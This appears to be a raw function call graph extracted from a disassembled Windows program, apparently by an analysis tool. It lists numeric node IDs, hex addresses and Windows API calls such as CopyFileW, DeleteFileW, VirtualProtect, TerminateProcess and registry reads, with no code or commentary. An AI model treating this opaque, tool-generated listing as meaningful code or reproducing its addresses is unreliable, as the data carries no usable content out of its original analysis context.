96338 30712f 96332->96338 96333->96330 96339 30700f 96334->96339 96336 307047 96335->96336 96337 30703d 96335->96337 96600 2fe199 GetFileAttributesW 96336->96600 96340 29a8c7 22 API calls 96337->96340 96342 29a961 22 API calls 96338->96342 96343 297510 53 API calls 96339->96343 96340->96336 96345 307138 96342->96345 96346 30701b 96343->96346 96344 307050 96347 307063 96344->96347 96350 294c6d 22 API calls 96344->96350 96348 297510 53 API calls 96345->96348 96349 296350 22 API calls 96346->96349 96352 297510 53 API calls 96347->96352 96357 307069 96347->96357 96351 307145 96348->96351 96349->96327 96350->96347 96445 29525f 96351->96445 96354 3070a0 96352->96354 96601 2fd076 57 API calls 96354->96601 96355 307166 96487 294c6d 96355->96487 96357->96385 96360 3071a9 96361 29a8c7 22 API calls 96360->96361 96363 3071ba 96361->96363 96362 294c6d 22 API calls 96364 307186 96362->96364 96365 296350 22 API calls 96363->96365 96364->96360 96366 296b57 22 API calls 96364->96366 96367 3071c8 96365->96367 96368 30719b 96366->96368 96369 296350 22 API calls 96367->96369 96370 296b57 22 API calls 96368->96370 96371 3071d6 96369->96371 96370->96360 96372 296350 22 API calls 96371->96372 96373 3071e4 96372->96373 96374 297510 53 API calls 96373->96374 96375 3071f0 96374->96375 96490 2fd7bc 96375->96490 96377 307201 96378 2fd4ce 4 API calls 96377->96378 96379 30720b 96378->96379 96380 297510 53 API calls 96379->96380 96384 307239 96379->96384 96381 307229 96380->96381 96544 302947 96381->96544 96383 294f39 68 API calls 96383->96385 96384->96383 96385->96188 96387 297510 53 API calls 96386->96387 96388 30f126 96387->96388 96685 299e90 96388->96685 96390 30f136 96391 30f15b 96390->96391 96392 29ec40 235 API calls 96390->96392 96394 30f15f 96391->96394 96713 299c6e 22 API calls 96391->96713 96392->96391 96394->96188 96396 301ea4 96395->96396 96397 301e9f 96395->96397 96396->96188 96726 300f67 96397->96726 96747 317f59 96399->96747 96401 31959b 96401->96188 96403 317f59 120 API calls 96402->96403 96404 3195af 96403->96404 96404->96188 96405->96190 96406->96149 96407->96152 96408->96162 96409->96174 96410->96174 96411->96151 96412->96185 96413->96185 96414->96185 96415->96183 96416->96185 96418 2fdbdc GetFileAttributesW 96417->96418 96419 2fd4d5 96417->96419 96418->96419 96420 2fdbe8 FindFirstFileW 96418->96420 96419->96188 96420->96419 96421 2fdbf9 FindClose 96420->96421 96421->96419 96423 297522 96422->96423 96424 297525 96422->96424 96423->96319 96425 29755b 96424->96425 96426 29752d 96424->96426 96427 2d50f6 96425->96427 96431 29756d 96425->96431 96438 2d500f 96425->96438 96602 2b51c6 26 API calls 96426->96602 96605 2b5183 26 API calls 96427->96605 96429 29753d 96434 2afddb 22 API calls 96429->96434 96603 2afb21 51 API calls 96431->96603 96432 2d510e 96432->96432 96436 297547 96434->96436 96439 299cb3 22 API calls 96436->96439 96437 2d5088 96604 2afb21 51 API calls 96437->96604 96438->96437 96440 2afe0b 22 API calls 96438->96440 96439->96423 96441 2d5058 96440->96441 96442 2afddb 22 API calls 96441->96442 96443 2d507f 96442->96443 96444 299cb3 22 API calls 96443->96444 96444->96437 96446 29a961 22 API calls 96445->96446 96447 295275 96446->96447 96448 29a961 22 API calls 96447->96448 96449 29527d 96448->96449 96450 29a961 22 API calls 96449->96450 96451 295285 96450->96451 96452 29a961 22 API calls 96451->96452 96453 29528d 96452->96453 96454 2d3df5 96453->96454 96455 2952c1 96453->96455 96456 29a8c7 22 API calls 96454->96456 96457 296d25 22 API calls 96455->96457 96458 2d3dfe 96456->96458 96459 2952cf 96457->96459 96461 29a6c3 22 API calls 96458->96461 96460 2993b2 22 API calls 96459->96460 96462 2952d9 96460->96462 96463 295304 96461->96463 96462->96463 96464 296d25 22 API calls 96462->96464 96465 295349 96463->96465 96466 295325 96463->96466 96482 2d3e20 96463->96482 96468 2952fa 96464->96468 96606 296d25 96465->96606 96466->96465 96472 294c6d 22 API calls 96466->96472 96470 2993b2 22 API calls 96468->96470 96469 29535a 96471 295370 96469->96471 96476 29a8c7 22 API calls 96469->96476 96470->96463 96474 295384 96471->96474 96479 29a8c7 22 API calls 96471->96479 96475 295332 96472->96475 96473 296b57 22 API calls 96484 2d3ee0 96473->96484 96477 29538f 96474->96477 96480 29a8c7 22 API calls 96474->96480 96475->96465 96478 296d25 22 API calls 96475->96478 96476->96471 96481 29a8c7 22 API calls 96477->96481 96485 29539a 96477->96485 96478->96465 96479->96474 96480->96477 96481->96485 96482->96473 96483 294c6d 22 API calls 96483->96484 96484->96465 96484->96483 96619 2949bd 22 API calls __fread_nolock 96484->96619 96485->96355 96488 29aec9 22 API calls 96487->96488 96489 294c78 96488->96489 96489->96360 96489->96362 96491 2fd7d8 96490->96491 96492 2fd7dd 96491->96492 96493 2fd7f3 96491->96493 96495 29a8c7 22 API calls 96492->96495 96543 2fd7ee 96492->96543 96494 29a961 22 API calls 96493->96494 96496 2fd7fb 96494->96496 96495->96543 96497 29a961 22 API calls 96496->96497 96498 2fd803 96497->96498 96499 29a961 22 API calls 96498->96499 96500 2fd80e 96499->96500 96501 29a961 22 API calls 96500->96501 96502 2fd816 96501->96502 96503 29a961 22 API calls 96502->96503 96504 2fd81e 96503->96504 96505 29a961 22 API calls 96504->96505 96506 2fd826 96505->96506 96507 29a961 22 API calls 96506->96507 96508 2fd82e 96507->96508 96509 29a961 22 API calls 96508->96509 96510 2fd836 96509->96510 96511 29525f 22 API calls 96510->96511 96512 2fd84d 96511->96512 96513 29525f 22 API calls 96512->96513 96514 2fd866 96513->96514 96515 294c6d 22 API calls 96514->96515 96516 2fd872 96515->96516 96517 2fd885 96516->96517 96518 2993b2 22 API calls 96516->96518 96519 294c6d 22 API calls 96517->96519 96518->96517 96520 2fd88e 96519->96520 96521 2fd89e 96520->96521 96522 2993b2 22 API calls 96520->96522 96523 2fd8b0 96521->96523 96524 29a8c7 22 API calls 96521->96524 96522->96521 96525 296350 22 API calls 96523->96525 96524->96523 96526 2fd8bb 96525->96526 96621 2fd978 22 API calls 96526->96621 96528 2fd8ca 96622 2fd978 22 API calls 96528->96622 96530 2fd8dd 96531 294c6d 22 API calls 96530->96531 96532 2fd8e7 96531->96532 96533 2fd8fe 96532->96533 96534 2fd8ec 96532->96534 96536 294c6d 22 API calls 96533->96536 96535 2933c6 22 API calls 96534->96535 96537 2fd8f9 96535->96537 96538 2fd907 96536->96538 96542 296350 22 API calls 96537->96542 96539 2fd925 96538->96539 96541 2933c6 22 API calls 96538->96541 96540 296350 22 API calls 96539->96540 96540->96543 96541->96537 96542->96539 96543->96377 96545 302954 __wsopen_s 96544->96545 96546 2afe0b 22 API calls 96545->96546 96547 302971 96546->96547 96548 295722 22 API calls 96547->96548 96549 30297b 96548->96549 96550 30274e 27 API calls 96549->96550 96551 302986 96550->96551 96552 29511f 64 API calls 96551->96552 96553 30299b 96552->96553 96554 302a6c 96553->96554 96555 3029bf 96553->96555 96556 302e66 75 API calls 96554->96556 96557 302e66 75 API calls 96555->96557 96558 302a38 96556->96558 96559 3029c4 96557->96559 96562 2950f5 40 API calls 96558->96562 96593 302a75 messages 96558->96593 96559->96593 96636 2bd583 26 API calls 96559->96636 96561 3029ed 96637 2bd583 26 API calls 96561->96637 96563 302a91 96562->96563 96564 2950f5 40 API calls 96563->96564 96565 302aa1 96564->96565 96566 2950f5 40 API calls 96565->96566 96568 302abc 96566->96568 96569 2950f5 40 API calls 96568->96569 96570 302acc 96569->96570 96571 2950f5 40 API calls 96570->96571 96572 302ae7 96571->96572 96573 2950f5 40 API calls 96572->96573 96574 302af7 96573->96574 96575 2950f5 40 API calls 96574->96575 96576 302b07 96575->96576 96577 2950f5 40 API calls 96576->96577 96578 302b17 96577->96578 96623 303017 GetTempPathW GetTempFileNameW 96578->96623 96580 302b22 96581 2be5eb 29 API calls 96580->96581 96592 302b33 96581->96592 96582 302bed 96583 2be678 67 API calls 96582->96583 96584 302bf8 96583->96584 96586 302c12 96584->96586 96587 302bfe DeleteFileW 96584->96587 96585 2950f5 40 API calls 96585->96592 96588 302c91 CopyFileW 96586->96588 96595 302c18 96586->96595 96587->96593 96589 302ca7 DeleteFileW 96588->96589 96590 302cb9 DeleteFileW 96588->96590 96589->96593 96633 302fd8 CreateFileW 96590->96633 96592->96582 96592->96585 96592->96593 96624 2bdbb3 96592->96624 96593->96384 96638 3022ce 79 API calls 96595->96638 96597 302c7c 96597->96590 96598 302c80 DeleteFileW 96597->96598 96598->96593 96599->96311 96600->96344 96601->96357 96602->96429 96603->96429 96604->96427 96605->96432 96607 296d91 96606->96607 96608 296d34 96606->96608 96610 2993b2 22 API calls 96607->96610 96608->96607 96609 296d3f 96608->96609 96612 2d4c9d 96609->96612 96613 296d5a 96609->96613 96611 296d62 __fread_nolock 96610->96611 96611->96469 96615 2afddb 22 API calls 96612->96615 96620 296f34 22 API calls 96613->96620 96616 2d4ca7 96615->96616 96617 2afe0b 22 API calls 96616->96617 96618 2d4cda 96617->96618 96619->96484 96620->96611 96621->96528 96622->96530 96623->96580 96625 2bdbc1 96624->96625 96626 2bdbdd 96624->96626 96625->96626 96627 2bdbcd 96625->96627 96628 2bdbe3 96625->96628 96626->96592 96642 2bf2d9 20 API calls _abort 96627->96642 96639 2bd9cc 96628->96639 96631 2bdbd2 96643 2c27ec 26 API calls _abort 96631->96643 96634 303013 96633->96634 96635 302fff SetFileTime CloseHandle 96633->96635 96634->96593 96635->96634 96636->96561 96637->96558 96638->96597 96644 2bd97b 96639->96644 96641 2bd9f0 96641->96626 96642->96631 96643->96626 96645 2bd987 BuildCatchObjectHelperInternal 96644->96645 96652 2b918d EnterCriticalSection 96645->96652 96647 2bd995 96653 2bd9f4 96647->96653 96651 2bd9b3 __wsopen_s 96651->96641 96652->96647 96661 2c49a1 96653->96661 96659 2bd9a2 96660 2bd9c0 LeaveCriticalSection __fread_nolock 96659->96660 96660->96651 96662 2bd955 __fread_nolock 26 API calls 96661->96662 96663 2c49b0 96662->96663 96664 2cf89b __fread_nolock 26 API calls 96663->96664 96665 2c49b6 96664->96665 96669 2bda09 96665->96669 96682 2c3820 21 API calls 2 library calls 96665->96682 96667 2c4a15 96668 2c29c8 _free 20 API calls 96667->96668 96668->96669 96670 2bda3a 96669->96670 96671 2bda4c 96670->96671 96678 2bda24 96670->96678 96672 2bda5a 96671->96672 96676 2bda85 __fread_nolock 96671->96676 96671->96678 96683 2bf2d9 20 API calls _abort 96672->96683 96674 2bda5f 96684 2c27ec 26 API calls _abort 96674->96684 96677 2bdc0b 62 API calls 96676->96677 96676->96678 96679 2bd955 __fread_nolock 26 API calls 96676->96679 96680 2c59be __wsopen_s 62 API calls 96676->96680 96677->96676 96681 2c4a56 62 API calls 96678->96681 96679->96676 96680->96676 96681->96659 96682->96667 96683->96674 96684->96678 96714 296270 96685->96714 96687 299fd2 96688 29a4a1 22 API calls 96687->96688 96689 299fec 96688->96689 96689->96390 96692 29a6c3 22 API calls 96695 299eb5 96692->96695 96693 29a12c __fread_nolock 96694 2df7c4 96693->96694 96705 29a405 96693->96705 96724 2f96e2 84 API calls __wsopen_s 96694->96724 96695->96687 96695->96692 96695->96693 96695->96694 96697 2df699 96695->96697 96700 29a4a1 22 API calls 96695->96700 96695->96705 96709 29a587 22 API calls 96695->96709 96710 29aec9 22 API calls 96695->96710 96719 294573 41 API calls _wcslen 96695->96719 96721 2948c8 23 API calls 96695->96721 96722 2949bd 22 API calls __fread_nolock 96695->96722 96723 29a673 22 API calls 96695->96723 96702 2afddb 22 API calls 96697->96702 96699 2df7d2 96704 29a4a1 22 API calls 96699->96704 96700->96695 96703 2df754 96702->96703 96707 2afe0b 22 API calls 96703->96707 96706 2df7e8 96704->96706 96705->96689 96725 2f96e2 84 API calls __wsopen_s 96705->96725 96706->96689 96707->96693 96709->96695 96711 29a0db CharUpperBuffW 96710->96711 96720 29a673 22 API calls 96711->96720 96713->96394 96715 2afe0b 22 API calls 96714->96715 96716 296295 96715->96716 96717 2afddb 22 API calls 96716->96717 96718 2962a3 96717->96718 96718->96695 96719->96695 96720->96695 96721->96695 96722->96695 96723->96695 96724->96699 96725->96689 96727 300f7e 96726->96727 96740 301097 96726->96740 96728 300f9e 96727->96728 96729 300fcb 96727->96729 96731 300fe2 96727->96731 96728->96729 96734 300fb2 96728->96734 96730 2afe0b 22 API calls 96729->96730 96744 300fc0 __fread_nolock 96730->96744 96732 2afe0b 22 API calls 96731->96732 96741 300fff 96731->96741 96732->96741 96733 301026 96736 2afe0b 22 API calls 96733->96736 96735 2afe0b 22 API calls 96734->96735 96735->96744 96738 30102c 96736->96738 96737 2afddb 22 API calls 96737->96740 96745 2af1d8 22 API calls 96738->96745 96740->96396 96741->96733 96741->96734 96741->96744 96742 301038 96746 2af6c9 24 API calls 96742->96746 96744->96737 96745->96742 96746->96744 96748 297510 53 API calls 96747->96748 96749 317f90 96748->96749 96773 317fd5 messages 96749->96773 96785 318cd3 96749->96785 96751 31844f 96826 318ee4 60 API calls 96751->96826 96753 31828f 96798 317e86 96753->96798 96755 31845e 96755->96753 96756 31846a 96755->96756 96756->96773 96757 297510 53 API calls 96775 318049 96757->96775 96762 3182c8 96813 2afc70 96762->96813 96765 318302 96820 2963eb 22 API calls 96765->96820 96766 3182e8 96819 30359c 82 API calls __wsopen_s 96766->96819 96769 3182f3 GetCurrentProcess TerminateProcess 96769->96765 96770 318281 96770->96751 96770->96753 96771 318311 96821 296a50 22 API calls 96771->96821 96773->96401 96774 31832a 96783 318352 96774->96783 96822 2a04f0 22 API calls 96774->96822 96775->96757 96775->96770 96775->96773 96817 2f417d 22 API calls __fread_nolock 96775->96817 96818 31851d 42 API calls _strftime 96775->96818 96776 3184c5 96776->96773 96780 3184d9 FreeLibrary 96776->96780 96778 318341 96823 318b7b 75 API calls 96778->96823 96780->96773 96783->96776 96824 2a04f0 22 API calls 96783->96824 96825 29aceb 23 API calls messages 96783->96825 96827 318b7b 75 API calls 96783->96827 96786 29aec9 22 API calls 96785->96786 96787 318cee CharLowerBuffW 96786->96787 96828 2f8e54 96787->96828 96791 29a961 22 API calls 96792 318d2a 96791->96792 96793 296d25 22 API calls 96792->96793 96794 318d3e 96793->96794 96795 2993b2 22 API calls 96794->96795 96797 318d48 _wcslen 96795->96797 96796 318e5e _wcslen 96796->96775 96797->96796 96835 31851d 42 API calls _strftime 96797->96835 96799 317ea1 96798->96799 96800 317eec 96798->96800 96801 2afe0b 22 API calls 96799->96801 96804 319096 96800->96804 96802 317ec3 96801->96802 96802->96800 96803 2afddb 22 API calls 96802->96803 96803->96802 96805 3192ab messages 96804->96805 96812 3190ba _strcat _wcslen 96804->96812 96805->96762 96806 29b567 39 API calls 96806->96812 96807 29b38f 39 API calls 96807->96812 96808 29b6b5 39 API calls 96808->96812 96809 297510 53 API calls 96809->96812 96810 2bea0c 21 API calls ___std_exception_copy 96810->96812 96812->96805 96812->96806 96812->96807 96812->96808 96812->96809 96812->96810 96838 2fefae 24 API calls _wcslen 96812->96838 96815 2afc85 96813->96815 96814 2afd1d VirtualProtect 96816 2afceb 96814->96816 96815->96814 96815->96816 96816->96765 96816->96766 96817->96775 96818->96775 96819->96769 96820->96771 96821->96774 96822->96778 96823->96783 96824->96783 96825->96783 96826->96755 96827->96783 96830 2f8e74 _wcslen 96828->96830 96829 2f8f63 96829->96791 96829->96797 96830->96829 96831 2f8ea9 96830->96831 96833 2f8f68 96830->96833 96831->96829 96836 2ace60 41 API calls 96831->96836 96833->96829 96837 2ace60 41 API calls 96833->96837 96835->96796 96836->96831 96837->96833 96838->96812 96840 29ae01 96839->96840 96843 29ae1c messages 96839->96843 96841 29aec9 22 API calls 96840->96841 96842 29ae09 CharUpperBuffW 96841->96842 96842->96843 96843->96207 96845 29acae 96844->96845 96846 29acd1 96845->96846 96874 30359c 82 API calls __wsopen_s 96845->96874 96846->96226 96849 2dfadb 96848->96849 96850 29ad92 96848->96850 96851 2afddb 22 API calls 96850->96851 96852 29ad99 96851->96852 96875 29adcd 96852->96875 96855->96256 96856->96250 96857->96250 96858->96211 96859->96248 96860->96227 96861->96248 96862->96248 96863->96226 96864->96226 96865->96226 96866->96226 96867->96226 96868->96226 96869->96240 96870->96248 96871->96247 96872->96257 96873->96248 96874->96846 96881 29addd 96875->96881 96876 29adb6 96876->96226 96877 2afddb 22 API calls 96877->96881 96878 29a961 22 API calls 96878->96881 96879 29a8c7 22 API calls 96879->96881 96880 29adcd 22 API calls 96880->96881 96881->96876 96881->96877 96881->96878 96881->96879 96881->96880 96882->96283 96883->96283 96884->96282 96885->96282 96886->96286 96887->96282 96888 2c8402 96893 2c81be 96888->96893 96892 2c842a 96898 2c81ef try_get_first_available_module 96893->96898 96895 2c83ee 96912 2c27ec 26 API calls _abort 96895->96912 96897 2c8343 96897->96892 96905 2d0984 96897->96905 96901 2c8338 96898->96901 96908 2b8e0b 40 API calls 2 library calls 96898->96908 96900 2c838c 96900->96901 96909 2b8e0b 40 API calls 2 library calls 96900->96909 96901->96897 96911 2bf2d9 20 API calls _abort 96901->96911 96903 2c83ab 96903->96901 96910 2b8e0b 40 API calls 2 library calls 96903->96910 96913 2d0081 96905->96913 96907 2d099f 96907->96892 96908->96900 96909->96903 96910->96901 96911->96895 96912->96897 96915 2d008d BuildCatchObjectHelperInternal 96913->96915 96914 2d009b 96971 2bf2d9 20 API calls _abort 96914->96971 96915->96914 96917 2d00d4 96915->96917 96924 2d065b 96917->96924 96918 2d00a0 96972 2c27ec 26 API calls _abort 96918->96972 96923 2d00aa __wsopen_s 96923->96907 96974 2d042f 96924->96974 96927 2d068d 97006 2bf2c6 20 API calls _abort 96927->97006 96928 2d06a6 96992 2c5221 96928->96992 96931 2d06ab 96932 2d06cb 96931->96932 96933 2d06b4 96931->96933 97005 2d039a CreateFileW 96932->97005 97008 2bf2c6 20 API calls _abort 96933->97008 96937 2d0704 96939 2d0781 GetFileType 96937->96939 96941 2d0756 GetLastError 96937->96941 97010 2d039a CreateFileW 96937->97010 96938 2d06b9 97009 2bf2d9 20 API calls _abort 96938->97009 96942 2d078c GetLastError 96939->96942 96945 2d07d3 96939->96945 97011 2bf2a3 20 API calls __dosmaperr 96941->97011 97012 2bf2a3 20 API calls __dosmaperr 96942->97012 97014 2c516a 21 API calls 2 library calls 96945->97014 96947 2d0692 97007 2bf2d9 20 API calls _abort 96947->97007 96948 2d079a CloseHandle 96948->96947 96951 2d07c3 96948->96951 96950 2d0749 96950->96939 96950->96941 97013 2bf2d9 20 API calls _abort 96951->97013 96953 2d07f4 96955 2d0840 96953->96955 97015 2d05ab 72 API calls 3 library calls 96953->97015 96954 2d07c8 96954->96947 96959 2d086d 96955->96959 97016 2d014d 72 API calls 4 library calls 96955->97016 96958 2d0866 96958->96959 96960 2d087e 96958->96960 96961 2c86ae __wsopen_s 29 API calls 96959->96961 96962 2d00f8 96960->96962 96963 2d08fc CloseHandle 96960->96963 96961->96962 96973 2d0121 LeaveCriticalSection __wsopen_s 96962->96973 97017 2d039a CreateFileW 96963->97017 96965 2d0927 96966 2d0931 GetLastError 96965->96966 96967 2d095d 96965->96967 97018 2bf2a3 20 API calls __dosmaperr 96966->97018 96967->96962 96969 2d093d 97019 2c5333 21 API calls 2 library calls 96969->97019 96971->96918 96972->96923 96973->96923 96975 2d0450 96974->96975 96976 2d046a 96974->96976 96975->96976 97027 2bf2d9 20 API calls _abort 96975->97027 97020 2d03bf 96976->97020 96979 2d045f 97028 2c27ec 26 API calls _abort 96979->97028 96981 2d04a2 96982 2d04d1 96981->96982 97029 2bf2d9 20 API calls _abort 96981->97029 96990 2d0524 96982->96990 97031 2bd70d 26 API calls 2 library calls 96982->97031 96985 2d051f 96987 2d059e 96985->96987 96985->96990 96986 2d04c6 97030 2c27ec 26 API calls _abort 96986->97030 97032 2c27fc 11 API calls _abort 96987->97032 96990->96927 96990->96928 96991 2d05aa 96993 2c522d BuildCatchObjectHelperInternal 96992->96993 97035 2c2f5e EnterCriticalSection 96993->97035 96995 2c527b 97036 2c532a 96995->97036 96997 2c5234 96997->96995 96998 2c5259 96997->96998 97002 2c52c7 EnterCriticalSection 96997->97002 97039 2c5000 96998->97039 96999 2c52a4 __wsopen_s 96999->96931 97002->96995 97004 2c52d4 LeaveCriticalSection 97002->97004 97004->96997 97005->96937 97006->96947 97007->96962 97008->96938 97009->96947 97010->96950 97011->96947 97012->96948 97013->96954 97014->96953 97015->96955 97016->96958 97017->96965 97018->96969 97019->96967 97021 2d03d7 97020->97021 97022 2d03f2 97021->97022 97033 2bf2d9 20 API calls _abort 97021->97033 97022->96981 97024 2d0416 97034 2c27ec 26 API calls _abort 97024->97034 97026 2d0421 97026->96981 97027->96979 97028->96976 97029->96986 97030->96982 97031->96985 97032->96991 97033->97024 97034->97026 97035->96997 97047 2c2fa6 LeaveCriticalSection 97036->97047 97038 2c5331 97038->96999 97040 2c4c7d _abort 20 API calls 97039->97040 97045 2c5012 97040->97045 97041 2c501f 97042 2c29c8 _free 20 API calls 97041->97042 97044 2c5071 97042->97044 97044->96995 97046 2c5147 EnterCriticalSection 97044->97046 97045->97041 97048 2c3405 11 API calls 2 library calls 97045->97048 97046->96995 97047->97038 97048->97045 97049 2e3a41 97053 3010c0 97049->97053 97051 2e3a4c 97052 3010c0 53 API calls 97051->97052 97052->97051 97059 3010fa 97053->97059 97061 3010cd 97053->97061 97054 3010fc 97065 2afa11 53 API calls 97054->97065 97056 301101 97057 297510 53 API calls 97056->97057 97058 301108 97057->97058 97060 296350 22 API calls 97058->97060 97059->97051 97060->97059 97061->97054 97061->97056 97061->97059 97062 3010f4 97061->97062 97064 29b270 39 API calls 97062->97064 97064->97059 97065->97056 97066 2b03fb 97067 2b0407 BuildCatchObjectHelperInternal 97066->97067 97095 2afeb1 97067->97095 97069 2b040e 97070 2b0561 97069->97070 97073 2b0438 97069->97073 97122 2b083f IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 97070->97122 97072 2b0568 97123 2b4e52 28 API calls _abort 97072->97123 97084 2b0477 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 97073->97084 97106 2c247d 97073->97106 97075 2b056e 97124 2b4e04 28 API calls _abort 97075->97124 97079 2b0576 97080 2b0457 97082 2b04d8 97114 2b0959 97082->97114 97084->97082 97118 2b4e1a 38 API calls 2 library calls 97084->97118 97086 2b04de 97087 2b04f3 97086->97087 97119 2b0992 GetModuleHandleW 97087->97119 97089 2b04fa 97089->97072 97090 2b04fe 97089->97090 97091 2b0507 97090->97091 97120 2b4df5 28 API calls _abort 97090->97120 97121 2b0040 13 API calls 2 library calls 97091->97121 97094 2b050f 97094->97080 97096 2afeba 97095->97096 97125 2b0698 IsProcessorFeaturePresent 97096->97125 97098 2afec6 97126 2b2c94 10 API calls 3 library calls 97098->97126 97100 2afecb 97105 2afecf 97100->97105 97127 2c2317 97100->97127 97103 2afee6 97103->97069 97105->97069 97107 2c2494 97106->97107 97108 2b0a8c __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 97107->97108 97109 2b0451 97108->97109 97109->97080 97110 2c2421 97109->97110 97111 2c2450 97110->97111 97112 2b0a8c __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 97111->97112 97113 2c2479 97112->97113 97113->97084 97170 2b2340 97114->97170 97116 2b096c GetStartupInfoW 97117 2b097f 97116->97117 97117->97086 97118->97082 97119->97089 97120->97091 97121->97094 97122->97072 97123->97075 97124->97079 97125->97098 97126->97100 97131 2cd1f6 97127->97131 97130 2b2cbd 8 API calls 3 library calls 97130->97105 97134 2cd213 97131->97134 97135 2cd20f 97131->97135 97132 2b0a8c __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 97133 2afed8 97132->97133 97133->97103 97133->97130 97134->97135 97137 2c4bfb 97134->97137 97135->97132 97138 2c4c07 BuildCatchObjectHelperInternal 97137->97138 97149 2c2f5e EnterCriticalSection 97138->97149 97140 2c4c0e 97150 2c50af 97140->97150 97142 2c4c1d 97148 2c4c2c 97142->97148 97163 2c4a8f 29 API calls 97142->97163 97145 2c4c27 97164 2c4b45 GetStdHandle GetFileType 97145->97164 97146 2c4c3d __wsopen_s 97146->97134 97165 2c4c48 LeaveCriticalSection _abort 97148->97165 97149->97140 97151 2c50bb BuildCatchObjectHelperInternal 97150->97151 97152 2c50df 97151->97152 97153 2c50c8 97151->97153 97166 2c2f5e EnterCriticalSection 97152->97166 97167 2bf2d9 20 API calls _abort 97153->97167 97156 2c50cd 97168 2c27ec 26 API calls _abort 97156->97168 97157 2c50eb 97161 2c5000 __wsopen_s 21 API calls 97157->97161 97162 2c5117 97157->97162 97159 2c50d7 __wsopen_s 97159->97142 97161->97157 97169 2c513e LeaveCriticalSection _abort 97162->97169 97163->97145 97164->97148 97165->97146 97166->97157 97167->97156 97168->97159 97169->97159 97171 2b2357 97170->97171 97171->97116 97171->97171 97172 291098 97177 2942de 97172->97177 97176 2910a7 97178 29a961 22 API calls 97177->97178 97179 2942f5 GetVersionExW 97178->97179 97180 296b57 22 API calls 97179->97180 97181 294342 97180->97181 97182 2993b2 22 API calls 97181->97182 97194 294378 97181->97194 97183 29436c 97182->97183 97185 2937a0 22 API calls 97183->97185 97184 29441b GetCurrentProcess IsWow64Process 97186 294437 97184->97186 97185->97194 97187 29444f LoadLibraryA 97186->97187 97188 2d3824 GetSystemInfo 97186->97188 97189 29449c GetSystemInfo 97187->97189 97190 294460 GetProcAddress 97187->97190 97191 294476 97189->97191 97190->97189 97193 294470 GetNativeSystemInfo 97190->97193 97195 29447a FreeLibrary 97191->97195 97196 29109d 97191->97196 97192 2d37df 97193->97191 97194->97184 97194->97192 97195->97196 97197 2b00a3 29 API calls __onexit 97196->97197 97197->97176 97198 29105b 97203 29344d 97198->97203 97200 29106a 97234 2b00a3 29 API calls __onexit 97200->97234 97202 291074 97204 29345d __wsopen_s 97203->97204 97205 29a961 22 API calls 97204->97205 97206 293513 97205->97206 97207 293a5a 24 API calls 97206->97207 97208 29351c 97207->97208 97235 293357 97208->97235 97211 2933c6 22 API calls 97212 293535 97211->97212 97213 29515f 22 API calls 97212->97213 97214 293544 97213->97214 97215 29a961 22 API calls 97214->97215 97216 29354d 97215->97216 97217 29a6c3 22 API calls 97216->97217 97218 293556 RegOpenKeyExW 97217->97218 97219 2d3176 RegQueryValueExW 97218->97219 97223 293578 97218->97223 97220 2d320c RegCloseKey 97219->97220 97221 2d3193 97219->97221 97220->97223 97233 2d321e _wcslen 97220->97233 97222 2afe0b 22 API calls 97221->97222 97224 2d31ac 97222->97224 97223->97200 97225 295722 22 API calls 97224->97225 97226 2d31b7 RegQueryValueExW 97225->97226 97227 2d31d4 97226->97227 97230 2d31ee messages 97226->97230 97228 296b57 22 API calls 97227->97228 97228->97230 97229 294c6d 22 API calls 97229->97233 97230->97220 97231 299cb3 22 API calls 97231->97233 97232 29515f 22 API calls 97232->97233 97233->97223 97233->97229 97233->97231 97233->97232 97234->97202 97236 2d1f50 __wsopen_s 97235->97236 97237 293364 GetFullPathNameW 97236->97237 97238 293386 97237->97238 97239 296b57 22 API calls 97238->97239 97240 2933a4 97239->97240 97240->97211 97241 29f7bf 97242 29f7d3 97241->97242 97243 29fcb6 97241->97243 97245 29fcc2 97242->97245 97246 2afddb 22 API calls 97242->97246 97278 29aceb 23 API calls messages 97243->97278 97279 29aceb 23 API calls messages 97245->97279 97248 29f7e5 97246->97248 97248->97245 97249 29f83e 97248->97249 97250 29fd3d 97248->97250 97252 2a1310 235 API calls 97249->97252 97268 29ed9d messages 97249->97268 97280 301155 22 API calls 97250->97280 97274 29ec76 messages 97252->97274 97253 29fef7 97260 29a8c7 22 API calls 97253->97260 97253->97268 97255 2afddb 22 API calls 97255->97274 97257 2e4600 97263 29a8c7 22 API calls 97257->97263 97257->97268 97258 2e4b0b 97282 30359c 82 API calls __wsopen_s 97258->97282 97259 29a8c7 22 API calls 97259->97274 97260->97268 97263->97268 97265 2b0242 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 97265->97274 97266 29fbe3 97266->97268 97269 2e4bdc 97266->97269 97275 29f3ae messages 97266->97275 97267 29a961 22 API calls 97267->97274 97283 30359c 82 API calls __wsopen_s 97269->97283 97271 2e4beb 97284 30359c 82 API calls __wsopen_s 97271->97284 97272 2b01f8 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent __Init_thread_footer 97272->97274 97273 2b00a3 29 API calls pre_c_initialization 97273->97274 97274->97253 97274->97255 97274->97257 97274->97258 97274->97259 97274->97265 97274->97266 97274->97267 97274->97268 97274->97271 97274->97272 97274->97273 97274->97275 97276 2a01e0 235 API calls 2 library calls 97274->97276 97277 2a06a0 41 API calls messages 97274->97277 97275->97268 97281 30359c 82 API calls __wsopen_s 97275->97281 97276->97274 97277->97274 97278->97245 97279->97250 97280->97268 97281->97268 97282->97268 97283->97271 97284->97268 97285 291033 97290 294c91 97285->97290 97289 291042 97291 29a961 22 API calls 97290->97291 97292 294cff 97291->97292 97298 293af0 97292->97298 97295 294d9c 97296 291038 97295->97296 97301 2951f7 22 API calls __fread_nolock 97295->97301 97297 2b00a3 29 API calls __onexit 97296->97297 97297->97289 97302 293b1c 97298->97302 97301->97295 97303 293b29 97302->97303 97305 293b0f 97302->97305 97304 293b30 RegOpenKeyExW 97303->97304 97303->97305 97304->97305 97306 293b4a RegQueryValueExW 97304->97306 97305->97295 97307 293b6b 97306->97307 97308 293b80 RegCloseKey 97306->97308 97307->97308 97308->97305 97309 2e3f75 97320 2aceb1 97309->97320 97311 2e3f8b 97319 2e4006 97311->97319 97329 2ae300 23 API calls 97311->97329 97313 29bf40 235 API calls 